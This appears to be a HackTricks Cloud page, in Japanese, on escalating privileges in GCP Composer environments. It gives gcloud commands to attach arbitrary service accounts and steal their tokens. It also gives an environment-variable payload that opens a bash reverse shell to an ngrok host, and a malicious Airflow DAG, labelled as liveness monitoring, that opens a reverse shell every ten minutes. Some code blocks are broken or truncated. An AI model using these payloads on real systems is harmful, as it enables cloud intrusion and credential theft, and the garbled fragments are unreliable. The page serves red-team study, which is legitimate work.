GCP - Composer Privesc
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
composer
詳細情報:
composer.environments.create
その権限により、新規に作成する composer 環境に任意の service account を割り当てることが可能です。後で composer 内でコードを実行して、その service account の token を盗むことができます。
service account を付与した Composer 環境を作成する
```bash gcloud composer environments create privesc-test \ --project "${PROJECT_ID}" \ --location europe-west1 \ --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" ```エクスプロイトの詳細はhere。
composer.environments.update
composer 環境を更新することが可能です。例えば、環境変数を変更するなど:
Composer 環境変数を更新して code execution を行う
```bash # Even if it says you don't have enough permissions the update happens gcloud composer environments update \ projects/Call the API endpoint directly
PATCH /v1/projects/
{“config”: {“softwareConfig”: {“envVariables”: {“BROWSER”: “/bin/bash -c ‘bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1’ & #%s”, “PYTHONWARNINGS”: “all:0:antigravity.x:0:0”}}}}
</details>
TODO: 新しい pypi パッケージを環境に追加して RCE を取得する
### Dags をダウンロード
実行されている dags のソースコードを確認する:
<details><summary>Composer environment から DAGs をエクスポートしてダウンロードする</summary>
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
Dags のインポート
python DAG code をファイルに追加し、実行してインポートします:
Composer 環境に悪意のある DAG をインポート
```bash # TODO: Create dag to get a rev shell gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py ```Reverse shell の DAG:
Python DAG の reverse shell code
```python import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator from datetime import timedeltadefault_args = { ‘start_date’: airflow.utils.dates.days_ago(0), ‘retries’: 1, ‘retry_delay’: timedelta(minutes=5) }
dag = DAG( ‘reverse_shell’, default_args=default_args, description=‘liveness monitoring dag’, schedule_interval=‘*/10 * * * *’, max_active_runs=1, catchup=False, dagrun_timeout=timedelta(minutes=10), )
priority_weight has type int in Airflow DB, uses the maximum.
t1 = BashOperator( task_id=‘bash_rev’, bash_command=‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1’, dag=dag, depends_on_past=False, priority_weight=2**31 - 1, do_xcom_push=False)
</details>
### Composer バケットへの書き込みアクセス
Composer 環境のすべてのコンポーネント(DAGs、plugins、データ)は GCP バケット内に格納されています。攻撃者がそのバケットに対する読み取りおよび書き込み権限を持っていれば、バケットを監視して、**DAG が作成または更新されるたびに backdoored バージョンを提出する**ことで、Composer 環境がストレージから backdoored バージョンを取得するようにできます。
Get more info about this attack in:
<a class="content_ref" href="gcp-storage-privesc.md"><span class="content_ref_label">GCP - Storage Privesc</span></a>
### プラグインのインポート
TODO: プラグインをアップロードすることで何が侵害可能か確認する
### データのインポート
TODO: データをアップロードすることで何が侵害可能か確認する
> [!TIP]
> AWSハッキングを学び、実践する:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを学び、実践する:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを学び、実践する:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポートする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
>
> </details>
HackTricks Cloud

